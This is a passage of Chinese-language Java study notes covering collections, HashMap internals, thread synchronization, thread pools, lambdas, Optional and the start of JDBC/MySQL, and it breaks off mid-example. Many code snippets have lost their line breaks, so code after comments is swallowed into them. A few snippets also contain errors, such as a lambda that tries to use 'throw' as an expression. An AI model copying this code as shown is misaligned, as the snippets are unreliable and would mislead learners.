当前位置: 首页 > news >正文

Java学习路线 - 第三阶段笔记

Java学习路线 - 第三阶段笔记

Java高级特性(2-3个月)

1. 集合框架深入

1.1 List详解
  • ArrayList:基于动态数组实现,随机访问高效,插入删除效率低
  • LinkedList:基于双向链表实现,插入删除高效,随机访问效率低
  • Vector:线程安全的ArrayList,性能较低
  • Stack:基于Vector实现的LIFO(后进先出)栈
1.2 Set详解
  • HashSet:基于HashMap实现,无序,不允许重复元素,查找效率高
  • LinkedHashSet:在HashSet基础上维护了元素插入顺序
  • TreeSet:基于红黑树实现,元素自动排序,查找和遍历效率较高
1.3 Map详解
1.3.1 HashMap详解
  • 基本概念:基于哈希表实现的Map接口,存储键值对,允许null键和null值

  • 核心特性

    • 无序集合
    • 非线程安全
    • 查询/插入/删除的平均时间复杂度为O(1)
    • 默认初始容量16,负载因子0.75
  • 底层数据结构

    • JDK 1.7:数组 + 链表
    • JDK 1.8及以后:数组 + 链表 + 红黑树(当链表长度超过8时转为红黑树)
  • 工作原理

    1. 通过key的hashCode()方法计算hash值
    2. 将hash值与数组长度-1进行按位与操作确定数组下标
    3. 如发生hash冲突,使用链表法解决
    4. 当链表过长(>8)时,转换为红黑树提高查询效率
    5. 当负载因子超过阈值时(默认0.75),进行扩容(2倍)
  • 重要源码解析

    // 哈希值计算
    static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }// 获取桶位置
    int i = (n - 1) & hash  // n为数组长度
    
  • 扩容机制

    • 触发条件:当前元素数量 > 容量 × 负载因子
    • 扩容过程:创建2倍大小的新数组,重新计算每个元素的位置
    • 性能影响:扩容是耗时操作,合理设置初始容量可减少扩容次数
  • 常见面试问题

    1. HashMap的put方法流程
    2. HashMap如何处理哈希冲突
    3. HashMap和Hashtable的区别
    4. 为什么HashMap的容量总是2的n次幂
  • 代码示例

    // 创建HashMap
    HashMap<String, Integer> map = new HashMap<>();// 指定初始容量和负载因子
    HashMap<String, Integer> customMap = new HashMap<>(32, 0.8f);// 添加元素
    map.put("Java", 95);
    map.put("Python", 90);
    map.put("C++", 85);// 获取元素
    int javaScore = map.get("Java");  // 95// 检查键是否存在
    boolean hasJava = map.containsKey("Java");  // true
    boolean has90 = map.containsValue(90);  // true// 遍历HashMap - 方式1:通过EntrySet
    for (Map.Entry<String, Integer> entry : map.entrySet()) {System.out.println(entry.getKey() + ": " + entry.getValue());
    }// 遍历HashMap - 方式2:通过KeySet
    for (String key : map.keySet()) {System.out.println(key + ": " + map.get(key));
    }// 遍历HashMap - 方式3:Java 8 Lambda表达式
    map.forEach((k, v) -> System.out.println(k + ": " + v));// 删除元素
    map.remove("Python");// 替换元素
    map.replace("C++", 88);// 清空HashMap
    map.clear();
    
  • 性能优化

    • 合理设置初始容量,减少扩容次数
    • 重写hashCode()和equals()方法保证正确性
    • 使用不可变对象作为key
    • 使用缓存计算的hashCode值提高性能
  • LinkedHashMap:在HashMap基础上维护了键值对的插入顺序

  • TreeMap:基于红黑树实现,键自动排序

  • Hashtable:线程安全的HashMap,性能较低

  • Properties:用于处理属性配置文件的特殊Map

1.4 集合排序和查找
  • Comparable接口:自然排序
  • Comparator接口:定制排序
  • Collections工具类常用方法
    • sort():排序
    • binarySearch():二分查找
    • reverse():反转
    • shuffle():随机排序
    • max()/min():查找最大/最小值
1.5 泛型
  • 泛型类:class MyClass<T> {}
  • 泛型方法:public <T> T method(T t) {}
  • 泛型通配符:
    • <?>: 无限制通配符
    • <? extends T>: 上限通配符
    • <? super T>: 下限通配符
  • 类型擦除:Java泛型实现原理
  • 泛型的限制和最佳实践
1.6 迭代器
  • Iterator接口:hasNext(), next(), remove()
  • ListIterator接口:双向迭代器
  • Iterable接口与for-each循环
  • fail-fast机制:并发修改异常ConcurrentModificationException

2. 多线程编程

2.1 线程基础
  • 线程的生命周期:新建、就绪、运行、阻塞、死亡
  • 创建线程的方式:
    • 继承Thread类
    • 实现Runnable接口
    • 实现Callable接口(有返回值)
  • 线程常用方法:
    • start():启动线程
    • run():线程执行体
    • sleep():休眠
    • join():等待线程结束
    • yield():让出CPU执行权
2.2 线程同步
  • 线程安全问题分析

    • 多线程环境下,共享资源可能被多个线程同时访问和修改
    • 导致的问题:脏读、丢失更新、不可重复读、幻读等
    • 解决方案:互斥(同步)和可见性保证
  • synchronized关键字

    • 同步代码块

      public void method() {// 非同步代码synchronized(锁对象) {  // 锁对象可以是this、类对象或任意对象// 同步代码,一次只允许一个线程执行}// 非同步代码
      }
      
    • 同步实例方法

      // 相当于synchronized(this) { 方法体 }
      public synchronized void method() {// 同步代码,锁是当前实例对象(this)
      }
      
    • 同步静态方法

      // 相当于synchronized(当前类.class) { 方法体 }
      public static synchronized void method() {// 同步代码,锁是当前类的Class对象
      }
      
    • 底层实现原理

      • 基于监视器(Monitor)机制
      • 使用对象头中的Mark Word存储锁信息
      • 锁的升级过程:偏向锁 -> 轻量级锁 -> 重量级锁
    • 代码示例

      public class Counter {private int count = 0;// 同步方法public synchronized void increment() {count++;}// 同步代码块public void decrement() {synchronized(this) {count--;}}// 使用类锁public static synchronized void staticMethod() {// 静态同步方法}public void anotherMethod() {synchronized(Counter.class) {// 使用类锁的同步代码块}}public int getCount() {return count;}
      }// 使用示例
      Counter counter = new Counter();// 线程1
      new Thread(() -> {for (int i = 0; i < 1000; i++) {counter.increment();}
      }).start();// 线程2
      new Thread(() -> {for (int i = 0; i < 1000; i++) {counter.decrement();}
      }).start();
      
  • volatile关键字

    • 作用

      • 保证变量的可见性:对变量的修改立即对其他线程可见
      • 禁止指令重排序:保证有序性
      • 但不保证原子性:不能替代锁解决竞态条件
    • 适用场景

      • 状态标志(如停止线程的标志)
      • 单例模式中的双重检查锁定
      • 独立于其他变量的操作(无复合操作)
    • 工作原理

      • 读操作:直接从主内存读取,不从CPU缓存读取
      • 写操作:立即写入主内存,并使其他CPU缓存失效
    • 代码示例

      public class VolatileExample {// 使用volatile保证可见性private volatile boolean flag = false;public void writer() {flag = true;  // 对所有线程立即可见}public void reader() {while (!flag) {// 当flag变为true时,会立即看到变化并退出循环}}
      }// 双重检查锁定单例模式
      public class Singleton {private static volatile Singleton instance;private Singleton() {}public static Singleton getInstance() {if (instance == null) {  // 第一次检查synchronized (Singleton.class) {if (instance == null) {  // 第二次检查instance = new Singleton();  // volatile保证对象完全初始化}}}return instance;}
      }
      
    • volatile的局限性

      public class VolatileLimitation {private volatile int count = 0;// volatile不保证原子性,下面的操作不是线程安全的public void increment() {count++;  // 实际是读-修改-写三步操作}// 正确做法: 使用synchronizedpublic synchronized void safeIncrement() {count++;}// 或者使用原子类private AtomicInteger atomicCount = new AtomicInteger(0);public void atomicIncrement() {atomicCount.incrementAndGet();}
      }
      
  • Lock接口

    • 基本概念

      • java.util.concurrent.locks包中的显式锁
      • 比synchronized更灵活
      • 支持非阻塞获取锁、可中断获取锁、超时获取锁等
    • 主要实现类

      • ReentrantLock:可重入锁
      • ReentrantReadWriteLock:读写锁
      • StampedLock:Java 8引入的性能更高的锁
    • ReentrantLock使用

      public class LockExample {private final Lock lock = new ReentrantLock();private int count = 0;public void increment() {lock.lock();  // 获取锁try {count++;} finally {lock.unlock();  // 在finally块中释放锁}}// 可中断获取锁public void incrementInterruptibly() throws InterruptedException {lock.lockInterruptibly();  // 可被中断的锁获取try {count++;} finally {lock.unlock();}}// 尝试获取锁public boolean tryIncrement() {if (lock.tryLock()) {  // 非阻塞尝试获取锁try {count++;return true;} finally {lock.unlock();}}return false;}// 超时获取锁public boolean timedIncrement() throws InterruptedException {if (lock.tryLock(1, TimeUnit.SECONDS)) {  // 尝试1秒获取锁try {count++;return true;} finally {lock.unlock();}}return false;}
      }
      
    • 公平锁与非公平锁

      // 公平锁:按请求顺序获取锁
      Lock fairLock = new ReentrantLock(true);// 非公平锁(默认):不保证顺序
      Lock unfairLock = new ReentrantLock(false);
      
    • 读写锁:允许多个线程同时读,但只允许一个线程写

      public class ReadWriteLockExample {private final ReadWriteLock rwLock = new ReentrantReadWriteLock();private final Lock readLock = rwLock.readLock();private final Lock writeLock = rwLock.writeLock();private List<String> data = new ArrayList<>();// 读操作(允许并发)public List<String> readData() {readLock.lock();try {return new ArrayList<>(data);  // 返回副本} finally {readLock.unlock();}}// 写操作(独占)public void writeData(String newValue) {writeLock.lock();try {data.add(newValue);} finally {writeLock.unlock();}}// 先读后写的复合操作public void updateIfPresent(String oldValue, String newValue) {// 先获取写锁(隐含获取读锁)writeLock.lock();try {int index = data.indexOf(oldValue);if (index != -1) {data.set(index, newValue);}} finally {writeLock.unlock();}}
      }
      
    • StampedLock:Java 8引入的性能更高的锁

      public class StampedLockExample {private final StampedLock sl = new StampedLock();private double x, y;// 写操作(独占锁)public void move(double deltaX, double deltaY) {long stamp = sl.writeLock();  // 获取写锁try {x += deltaX;y += deltaY;} finally {sl.unlockWrite(stamp);  // 释放写锁}}// 读操作(悲观读锁)public double distanceFromOrigin() {long stamp = sl.readLock();  // 获取读锁try {return Math.sqrt(x * x + y * y);} finally {sl.unlockRead(stamp);  // 释放读锁}}// 乐观读操作public double distanceFromOriginOptimistic() {long stamp = sl.tryOptimisticRead();  // 获取乐观读锁double currentX = x, currentY = y;// 检查读取后是否有写操作if (!sl.validate(stamp)) {// 如果有写操作,切换到悲观读锁stamp = sl.readLock();try {currentX = x;currentY = y;} finally {sl.unlockRead(stamp);}}return Math.sqrt(currentX * currentX + currentY * currentY);}
      }
      
  • 死锁问题

    • 死锁形成的四个必要条件

      • 互斥条件:资源不能被共享使用
      • 持有并等待条件:线程持有资源的同时等待其他资源
      • 不可抢占条件:资源不能被强制释放
      • 循环等待条件:形成一个等待环路
    • 死锁示例

      public class DeadlockExample {private final Object resource1 = new Object();private final Object resource2 = new Object();// 可能导致死锁的方法public void method1() {synchronized(resource1) {System.out.println("Thread 1: Holding resource 1...");try { Thread.sleep(100); } catch (InterruptedException e) {}System.out.println("Thread 1: Waiting for resource 2...");synchronized(resource2) {System.out.println("Thread 1: Holding resource 1 & 2...");}}}public void method2() {synchronized(resource2) {  // 与method1获取锁的顺序相反System.out.println("Thread 2: Holding resource 2...");try { Thread.sleep(100); } catch (InterruptedException e) {}System.out.println("Thread 2: Waiting for resource 1...");synchronized(resource1) {System.out.println("Thread 2: Holding resource 1 & 2...");}}}// 测试死锁public static void main(String[] args) {DeadlockExample deadlock = new DeadlockExample();new Thread(() -> deadlock.method1()).start();new Thread(() -> deadlock.method2()).start();}
      }
      
    • 死锁预防与避免

      • 固定锁的获取顺序:始终以相同的顺序获取锁
      • 超时获取锁:使用Lock接口的tryLock方法尝试获取锁
      • 使用可中断锁:让线程能够被打断
      • 针对资源分级:为资源分配优先级
    • 修正上面的死锁示例

      // 方法1:固定锁的获取顺序
      public void methodFixed1() {synchronized(resource1) {  // 两个方法都先获取resource1synchronized(resource2) {// 使用资源}}
      }public void methodFixed2() {synchronized(resource1) {  // 两个方法都先获取resource1synchronized(resource2) {// 使用资源}}
      }// 方法2:使用Lock接口的tryLock避免死锁
      public void methodWithTryLock() {Lock lock1 = new ReentrantLock();Lock lock2 = new ReentrantLock();boolean gotFirstLock = false;boolean gotSecondLock = false;try {gotFirstLock = lock1.tryLock();gotSecondLock = lock2.tryLock();if (gotFirstLock && gotSecondLock) {// 使用资源}} finally {if (gotSecondLock) {lock2.unlock();}if (gotFirstLock) {lock1.unlock();}}
      }
      
    • 死锁检测

      • 使用jstack命令查看线程堆栈
      • 使用jconsole或VisualVM等工具监控检测
      • 程序中实现死锁检测算法
  • 线程同步最佳实践

    • 尽量缩小同步范围,只在必要的代码块上使用同步
    • 选择合适的锁:粗粒度锁简单但竞争激烈,细粒度锁减少竞争但复杂
    • 避免在持有锁时执行耗时操作
    • 使用并发容器而非同步容器提高性能
    • 遵循固定的锁获取顺序避免死锁
    • 优先使用并发工具类而非低级别的锁机制
    • 使用ThreadLocal减少共享变量
    • 正确使用volatile关键字
  • 面试常见问题

    1. synchronized和Lock的区别与选择
    2. 如何解决死锁问题
    3. volatile关键字的作用和使用场景
    4. 如何实现线程安全的单例模式
    5. 什么是线程安全,如何实现线程安全
    6. synchronized的底层实现原理和锁升级过程
2.3 线程池
  • 线程池基本概念:用于管理和复用线程的资源池,避免频繁创建和销毁线程带来的开销

  • 线程池优势

    • 减少资源消耗:复用已创建的线程
    • 提高响应速度:任务到达时直接使用线程池中空闲线程
    • 提高线程可管理性:统一管理、分配、调优、监控
    • 防止系统资源耗尽:限制并发线程数量
  • ThreadPoolExecutor核心参数

    public ThreadPoolExecutor(int corePoolSize,      // 核心线程数int maximumPoolSize,   // 最大线程数long keepAliveTime,    // 线程空闲超时时间TimeUnit unit,         // 时间单位BlockingQueue<Runnable> workQueue,  // 工作队列ThreadFactory threadFactory,        // 线程工厂RejectedExecutionHandler handler)   // 拒绝策略
    
  • 线程池工作原理

    1. 当线程数小于核心线程数时,新任务到达会创建新线程执行
    2. 当线程数等于核心线程数时,新任务会进入工作队列等待
    3. 当工作队列已满,但线程数小于最大线程数时,创建新线程执行任务
    4. 当工作队列已满,且线程数等于最大线程数时,触发拒绝策略
    5. 当线程空闲时间超过keepAliveTime,非核心线程会被回收
  • 工作队列类型

    • ArrayBlockingQueue:基于数组的有界阻塞队列,FIFO
    • LinkedBlockingQueue:基于链表的可选有界阻塞队列,FIFO
    • SynchronousQueue:不存储元素的阻塞队列,每个插入操作必须等待对应的移除操作
    • PriorityBlockingQueue:带优先级的无界阻塞队列
  • 拒绝策略

    • AbortPolicy:默认策略,丢弃任务并抛出RejectedExecutionException
    • DiscardPolicy:丢弃任务但不抛出异常
    • DiscardOldestPolicy:丢弃队列最前面的任务,然后重新尝试执行任务
    • CallerRunsPolicy:由调用线程处理该任务
  • 常用线程池

    // 固定大小线程池
    ExecutorService fixedPool = Executors.newFixedThreadPool(5);// 单线程线程池
    ExecutorService singlePool = Executors.newSingleThreadExecutor();// 缓存线程池(无限制)
    ExecutorService cachedPool = Executors.newCachedThreadPool();// 定时任务线程池
    ScheduledExecutorService scheduledPool = Executors.newScheduledThreadPool(5);
    
  • 自定义线程池示例

    ThreadPoolExecutor executor = new ThreadPoolExecutor(5,                             // 核心线程数10,                            // 最大线程数60, TimeUnit.SECONDS,          // 线程空闲超时时间new ArrayBlockingQueue<>(100), // 工作队列Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());// 提交任务
    executor.execute(() -> {System.out.println("Task executed by " + Thread.currentThread().getName());
    });// 提交有返回值的任务
    Future<String> future = executor.submit(() -> {Thread.sleep(1000);return "Task completed";
    });// 等待任务完成并获取结果
    try {String result = future.get();System.out.println(result);
    } catch (Exception e) {e.printStackTrace();
    }// 关闭线程池
    executor.shutdown();
    
  • 线程池监控

    // 获取线程池状态
    int activeCount = executor.getActiveCount();      // 活动线程数
    int poolSize = executor.getPoolSize();            // 当前线程数
    int corePoolSize = executor.getCorePoolSize();    // 核心线程数
    int largestPoolSize = executor.getLargestPoolSize(); // 历史最大线程数
    long taskCount = executor.getTaskCount();         // 已提交任务数
    long completedTaskCount = executor.getCompletedTaskCount(); // 已完成任务数
    
  • 线程池最佳实践

    • 根据任务类型选择合适的队列
    • 避免使用无界队列,防止OOM
    • 根据CPU核心数、任务性质合理设置线程数
    • 为线程池线程指定有意义的名称,便于调试
    • 任务应该是独立的,避免共享可变状态
    • 线程池关闭前确保所有任务完成
  • 面试常见问题

    1. 线程池的主要参数及其影响
    2. 如何合理设置线程池大小
    3. 线程池中submit()和execute()的区别
    4. 线程池的状态转换(RUNNING, SHUTDOWN, STOP, TIDYING, TERMINATED)
2.4 并发工具类
  • CountDownLatch:等待多个线程完成
  • CyclicBarrier:等待线程集合同步执行
  • Semaphore:信号量,控制并发数
  • Exchanger:线程数据交换
  • 原子类:AtomicInteger, AtomicLong等
  • 并发集合:
    • ConcurrentHashMap
    • CopyOnWriteArrayList
    • BlockingQueue

3. Java8+新特性

3.1 Lambda表达式
  • Lambda基本概念

    • Lambda表达式是Java 8引入的一种匿名函数表达式,可以创建匿名函数实例
    • 主要用于简化函数式接口的实现代码
    • 语法更简洁,提高代码可读性和可维护性
  • Lambda语法

    (parameters) -> expression
    

    (parameters) -> { statements; }
    
  • Lambda表达式示例

    // 无参数,返回值为空
    Runnable r1 = () -> System.out.println("Hello World");// 单个参数(可省略括号)
    Consumer<String> c1 = s -> System.out.println(s);// 多个参数
    Comparator<String> c2 = (s1, s2) -> s1.compareTo(s2);// 带代码块
    ActionListener listener = event -> {System.out.println("Button clicked!");System.out.println("Event: " + event.getActionCommand());
    };// 带返回值
    BinaryOperator<Integer> add = (a, b) -> a + b;
    
  • 函数式接口

    • 任何只包含一个抽象方法的接口,都可以作为Lambda表达式的目标类型
    • 可以使用@FunctionalInterface注解标记(非必须但推荐)
    • Java 8在java.util.function包中提供了许多标准函数式接口
  • 常用函数式接口详解

    • Predicate:接收T类型参数,返回boolean值

      // 定义
      @FunctionalInterface
      public interface Predicate<T> {boolean test(T t);// 还有其他默认方法: and(), or(), negate()
      }// 使用示例
      Predicate<String> isEmpty = s -> s.isEmpty();
      Predicate<String> isNotEmpty = isEmpty.negate();// 组合Predicate
      Predicate<String> isLongAndNotEmpty = s -> s.length() > 10      // 长度>10.and(isNotEmpty);         // 且不为空List<String> filtered = strings.stream().filter(isLongAndNotEmpty).collect(Collectors.toList());
      
    • Consumer:接收T类型参数,无返回值

      // 定义
      @FunctionalInterface
      public interface Consumer<T> {void accept(T t);// 还有默认方法: andThen()
      }// 使用示例
      Consumer<String> print = System.out::println;
      Consumer<String> log = s -> logger.info(s);// 组合Consumer
      Consumer<String> printAndLog = print.andThen(log);strings.forEach(printAndLog);
      
    • Function<T, R>:接收T类型参数,返回R类型结果

      // 定义
      @FunctionalInterface
      public interface Function<T, R> {R apply(T t);// 还有默认方法: compose(), andThen(), identity()
      }// 使用示例
      Function<String, Integer> toLength = String::length;
      Function<Integer, Integer> doubled = i -> i * 2;// 组合Function
      Function<String, Integer> lengthThenDouble = toLength.andThen(doubled);// 结果:10 (先计算"Java"长度为4,然后乘以2)
      int result = lengthThenDouble.apply("Java");
      
    • Supplier:无参数,返回T类型结果

      // 定义
      @FunctionalInterface
      public interface Supplier<T> {T get();
      }// 使用示例
      Supplier<LocalDate> today = LocalDate::now;
      Supplier<User> createUser = User::new;  // 调用无参构造器// 用于延迟计算
      Logger logger = LoggerFactory.getLogger(MyClass.class);// 仅当日志级别是DEBUG时才执行计算
      logger.debug("Complex object: {}", (Supplier<String>) () -> {return expensiveOperation();  // 仅在需要时执行
      });
      
    • BiFunction<T, U, R>:接收T和U类型参数,返回R类型结果

      // 定义
      @FunctionalInterface
      public interface BiFunction<T, U, R> {R apply(T t, U u);// 还有默认方法: andThen()
      }// 使用示例
      BiFunction<String, String, String> concat = (s1, s2) -> s1 + s2;
      BiFunction<Integer, Integer, Integer> multiply = (a, b) -> a * b;// 结果:"HelloWorld"
      String result1 = concat.apply("Hello", "World");// 结果:35
      Integer result2 = multiply.apply(5, 7);
      
    • 其他常用函数式接口

      // BiConsumer<T, U>:接收两个参数,无返回值
      BiConsumer<String, Integer> printKeyValue = (key, value) -> System.out.println(key + ": " + value);// BinaryOperator<T>:接收两个T类型参数,返回T类型结果
      BinaryOperator<Integer> sum = (a, b) -> a + b;// UnaryOperator<T>:接收T类型参数,返回T类型结果
      UnaryOperator<String> toUpperCase = String::toUpperCase;
      
  • 方法引用:简化Lambda表达式的特殊语法

    // 静态方法引用
    Function<String, Integer> parseInt = Integer::parseInt;// 实例方法引用(特定对象)
    Consumer<String> printer = System.out::println;// 实例方法引用(任意对象)
    Function<String, Integer> lengthFn = String::length;// 构造方法引用
    Supplier<ArrayList<String>> listCreator = ArrayList::new;
    Function<String, User> userCreator = User::new;
    
  • 变量捕获:Lambda表达式可以访问定义它的方法的局部变量和成员变量

    int multiplier = 2;  // 局部变量// 捕获局部变量(必须是final或effectively final)
    Function<Integer, Integer> multiply = n -> n * multiplier;// 修改捕获的变量会导致编译错误
    // multiplier = 3;  // 错误:变量在Lambda中使用,不能修改// 成员变量可以正常修改
    this.factor = 3;  // 成功:成员变量可以修改
    Function<Integer, Integer> multiplyByFactor = n -> n * this.factor;
    
  • 与匿名内部类的比较

    // 使用匿名内部类
    Comparator<String> comparator1 = new Comparator<String>() {@Overridepublic int compare(String s1, String s2) {return s1.compareTo(s2);}
    };// 使用Lambda表达式
    Comparator<String> comparator2 = (s1, s2) -> s1.compareTo(s2);// 使用方法引用更简洁
    Comparator<String> comparator3 = String::compareTo;
    
  • 实际应用场景

    1. 事件处理

      // Swing事件处理
      JButton button = new JButton("Click Me");// 传统方式
      button.addActionListener(new ActionListener() {@Overridepublic void actionPerformed(ActionEvent e) {System.out.println("Button clicked!");}
      });// Lambda方式
      button.addActionListener(e -> System.out.println("Button clicked!"));
      
    2. 集合遍历和操作

      List<String> names = Arrays.asList("John", "Mary", "Steve");// 传统方式
      for (String name : names) {System.out.println(name);
      }// Lambda方式
      names.forEach(name -> System.out.println(name));// 方法引用
      names.forEach(System.out::println);
      
    3. 多线程编程

      // 传统方式
      new Thread(new Runnable() {@Overridepublic void run() {System.out.println("Running in another thread");}
      }).start();// Lambda方式
      new Thread(() -> System.out.println("Running in another thread")).start();
      
    4. 策略模式实现

      // 传统策略模式
      public interface ValidationStrategy {boolean validate(String s);
      }public class IsAllLowerCase implements ValidationStrategy {@Overridepublic boolean validate(String s) {return s.matches("[a-z]+");}
      }// 使用传统策略
      Validator lowerCaseValidator = new Validator(new IsAllLowerCase());
      boolean result = lowerCaseValidator.validate("abc");// 使用Lambda简化
      Validator lowerCaseValidator = new Validator(s -> s.matches("[a-z]+"));
      Validator numericValidator = new Validator(s -> s.matches("\\d+"));
      
    5. 资源管理

      // 自定义函数式接口
      @FunctionalInterface
      interface ResourceHandler<T, R> {R handle(T resource) throws IOException;
      }// 资源管理工具方法
      public static <T extends AutoCloseable, R> R withResource(Supplier<T> resourceSupplier, ResourceHandler<T, R> handler) throws Exception {try (T resource = resourceSupplier.get()) {return handler.handle(resource);}
      }// 使用方式
      String content = withResource(() -> new BufferedReader(new FileReader("file.txt")),reader -> reader.lines().collect(Collectors.joining("\n"))
      );
      
  • Lambda表达式最佳实践

    • 保持简短和清晰,避免复杂逻辑
    • 优先使用方法引用提高可读性
    • 避免修改外部变量
    • 为复杂Lambda创建描述性方法
    • 使用标准函数式接口而不是创建新接口
    • 使用@FunctionalInterface注解标记函数式接口
  • 常见面试问题

    1. Lambda表达式和匿名内部类的区别
    2. 为什么Lambda表达式只能访问final或effectively final的局部变量
    3. 函数式接口是什么,如何定义自己的函数式接口
    4. Lambda表达式的底层实现原理
    5. Lambda表达式的局限性和适用场景
3.3 Optional类
  • Optional基本概念

    • Optional是Java 8引入的容器类,可以存储一个值或空值
    • 主要目的是避免空指针异常(NullPointerException)
    • 迫使开发者显式地处理可能为null的情况
    • 不是为了替代所有null引用,而是为了更优雅地处理null
  • 创建Optional对象

    // 创建包含值的Optional
    Optional<String> opt1 = Optional.of("Hello");// 创建可能包含null的Optional
    Optional<String> opt2 = Optional.ofNullable(possiblyNullString);// 创建空的Optional
    Optional<String> empty = Optional.empty();
    
  • 检查值是否存在

    // 检查是否有值
    boolean isPresent = opt1.isPresent();  // true
    boolean isEmpty = empty.isEmpty();     // true (Java 11+)// 条件执行
    opt1.ifPresent(s -> System.out.println("Value: " + s));// 条件执行带else情况(Java 9+)
    opt1.ifPresentOrElse(s -> System.out.println("Value: " + s),() -> System.out.println("No value")
    );
    
  • 获取Optional中的值

    // 直接获取值(如果为空会抛出NoSuchElementException)
    String value1 = opt1.get();  // 不推荐使用// 值不存在时返回默认值
    String value2 = empty.orElse("Default");// 值不存在时通过Supplier计算默认值
    String value3 = empty.orElseGet(() -> computeDefault());// 值不存在时抛出指定异常
    String value4 = empty.orElseThrow(() -> new IllegalStateException("Value not available"));
    
  • orElse与orElseGet的区别

    // 使用orElse - 无论Optional是否为空,都会执行computeDefault()
    String result1 = opt1.orElse(computeDefault());// 使用orElseGet - 只有当Optional为空时,才会执行computeDefault()
    String result2 = opt1.orElseGet(() -> computeDefault());
    
  • 转换Optional中的值

    // 使用map转换值
    Optional<Integer> length = opt1.map(String::length);// 链式调用
    Optional<String> upperCase = opt1.map(s -> s.trim()).filter(s -> !s.isEmpty()).map(String::toUpperCase);// 使用flatMap处理返回Optional的方法
    Optional<User> user = Optional.ofNullable(getUser(id));
    Optional<Address> address = user.flatMap(User::getAddress);
    Optional<Street> street = address.flatMap(Address::getStreet);
    Optional<String> streetName = street.map(Street::getName);// 简化上面的嵌套Optional链(避免了多层null检查)
    Optional<String> streetName = Optional.ofNullable(getUser(id)).flatMap(User::getAddress).flatMap(Address::getStreet).map(Street::getName);
    
  • 过滤Optional中的值

    // 根据条件过滤
    Optional<String> filteredOpt = opt1.filter(s -> s.length() > 3);// 组合条件
    Optional<User> validUser = Optional.ofNullable(user).filter(u -> u.isActive()).filter(u -> u.getAge() >= 18);
    
  • Optional与Stream的结合

    // 将Optional流转换为值流
    List<Optional<String>> listOfOptionals = Arrays.asList(Optional.of("A"), Optional.empty(), Optional.of("B"));// Java 9+: Optional的stream()方法
    List<String> filteredList = listOfOptionals.stream().flatMap(Optional::stream)  // 只保留有值的Optional.collect(Collectors.toList());  // ["A", "B"]// Java 8: 使用filter()和map()
    List<String> filteredList = listOfOptionals.stream().filter(Optional::isPresent).map(Optional::get).collect(Collectors.toList());  // ["A", "B"]
    
  • 实际应用场景

    1. 避免空指针检查

      // 传统的null检查
      public String getUserName(User user) {if (user != null) {String name = user.getName();if (name != null) {return name.toUpperCase();}}return "UNKNOWN";
      }// 使用Optional
      public String getUserName(User user) {return Optional.ofNullable(user).map(User::getName).map(String::toUpperCase).orElse("UNKNOWN");
      }
      
    2. 方法返回值处理

      // 返回Optional而不是null
      public Optional<User> findUserById(long id) {User user = userRepository.findById(id);return Optional.ofNullable(user);
      }// 调用方处理
      findUserById(123).ifPresent(user -> sendEmail(user));
      
    3. 集合元素处理

      // 查找第一个匹配元素
      Optional<User> user = users.stream().filter(u -> u.getAge() > 30).findFirst();// 进一步处理
      user.ifPresent(this::processUser);
      
    4. 配置值获取

      // 从多个可能的来源获取配置
      public Optional<String> getConfigValue(String key) {return Optional.ofNullable(System.getProperty(key)).or(() -> Optional.ofNullable(environmentVars.get(key))).or(() -> Optional.ofNullable(defaultProps.get(key)));
      }// 使用配置值
      String timeout = getConfigValue("app.timeout").map(Integer::parseInt).orElse(DEFAULT_TIMEOUT);
      
    5. 构建验证管道

      public Optional<User> validateUser(User user) {return Optional.ofNullable(user).filter(u -> u.getName() != null && !u.getName().trim().isEmpty()).filter(u -> u.getEmail() != null && u.getEmail().contains("@")).filter(u -> u.getAge() >= 18);
      }// 使用验证结果
      validateUser(user).ifPresentOrElse(userService::registerUser,() -> throw new ValidationException("Invalid user data"));
      
  • Optional最佳实践

    • 不要将Optional用作字段类型
    • 不要将Optional用作方法参数
    • 不要创建空的Optional对象集合
    • 优先使用orElseGet()而不是orElse()处理计算开销大的默认值
    • 不要过度使用Optional替代所有可能为null的场景
    • 使用Optional作为返回类型表明值可能不存在
  • 常见面试问题

    1. Optional的设计目的是什么
    2. Optional和null的区别
    3. 为什么不应该序列化Optional
    4. orElse()和orElseGet()方法的区别
    5. 如何正确地使用Optional提高代码质量
3.4 新的日期时间API
  • LocalDate:不包含时间的日期
  • LocalTime:不包含日期的时间
  • LocalDateTime:包含日期和时间
  • ZonedDateTime:带时区的日期时间
  • Instant:时间戳
  • Duration:时间段
  • Period:日期间隔
  • DateTimeFormatter:日期时间格式化
3.5 默认方法
  • 接口中的默认方法:default关键字
  • 接口中的静态方法
  • 默认方法冲突解决策略

4. JDBC数据库编程

4.1 数据库基础知识
  • 关系型数据库概念

    • 表(Table):存储数据的基本单元,由行和列组成
    • 主键(Primary Key):唯一标识表中的一行数据
    • 外键(Foreign Key):表示表之间的关系
    • 索引(Index):提高查询性能的数据结构
    • 视图(View):虚拟表,基于一个或多个表的查询结果
  • SQL基础

    • DDL(数据定义语言):CREATE, ALTER, DROP
    • DML(数据操作语言):INSERT, UPDATE, DELETE
    • DQL(数据查询语言):SELECT
    • DCL(数据控制语言):GRANT, REVOKE
  • 数据库设计三范式

    1. 第一范式(1NF):字段值不可再分
    2. 第二范式(2NF):非主键字段必须依赖于整个主键
    3. 第三范式(3NF):非主键字段不能相互依赖
  • 索引与性能优化

    • B+树索引:最常用的索引类型
    • 哈希索引:等值查询更快,但不支持排序和范围查询
    • 索引最佳实践:
      • 为频繁查询的字段创建索引
      • 为外键字段创建索引
      • 避免对频繁更新的字段创建索引
      • 避免创建过多索引
  • 事务ACID特性

    • 原子性(Atomicity):事务是最小执行单位,要么全部执行,要么全部不执行
    • 一致性(Consistency):事务执行前后数据库状态一致
    • 隔离性(Isolation):多个事务并发执行互不干扰
    • 持久性(Durability):事务一旦提交,对数据库的改变是永久的
  • 事务隔离级别

    • READ UNCOMMITTED(读未提交)
    • READ COMMITTED(读已提交)
    • REPEATABLE READ(可重复读)
    • SERIALIZABLE(串行化)
4.2 MySQL安装和基本操作
  • MySQL基本命令
    -- 登录MySQL
    mysql -u username -p-- 显示数据库
    SHOW DATABASES;-- 创建数据库
    CREATE DATABASE db_name CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;-- 使用数据库
    USE db_name;-- 创建表
    CREATE TABLE user (id INT PRIMARY KEY AUTO_INCREMENT,username VARCHAR(50) NOT NULL UNIQUE,password VARCHAR(100) NOT NULL,email VARCHAR(100),created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    );-- 增加数据
    INSERT INTO user (username, password, email) 
